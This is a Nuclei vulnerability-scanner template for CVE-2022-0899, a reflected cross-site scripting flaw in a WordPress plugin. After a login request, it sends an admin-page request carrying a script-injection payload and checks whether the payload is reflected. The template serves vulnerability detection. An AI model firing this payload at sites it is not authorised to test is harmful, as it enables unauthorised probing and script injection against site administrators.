nuclei-templates/http/cves/2022/CVE-2022-0899.yaml

49 lines
1.8 KiB
YAML

id: CVE-2022-0899
info:
name: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/1772417a-1abb-4d97-9694-1254840defd1
- https://nvd.nist.gov/vuln/detail/CVE-2022-0899
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0899
cwe-id: CWE-79
epss-score: 0.00119
epss-percentile: 0.45932
cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: draftpress
product: header_footer_code_manager
framework: wordpress
tags: wpscan,cve,cve2022,wp,wp-plugin,wordpress,xss,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<script>alert(/document.domain/)</script>")'
- 'contains(body_2, "All Snippets")'
condition: and
# digest: 4a0a00473045022072a660f4d2c317921253da18995418371f961ba9b707f1166369c12c4826b043022100ff0fc8582e95cb7ef7ff2388e7c79dcbcf29c906c5a0980a9ebe491bd20d21ba:922c64590222798bb761d5b6d8e72950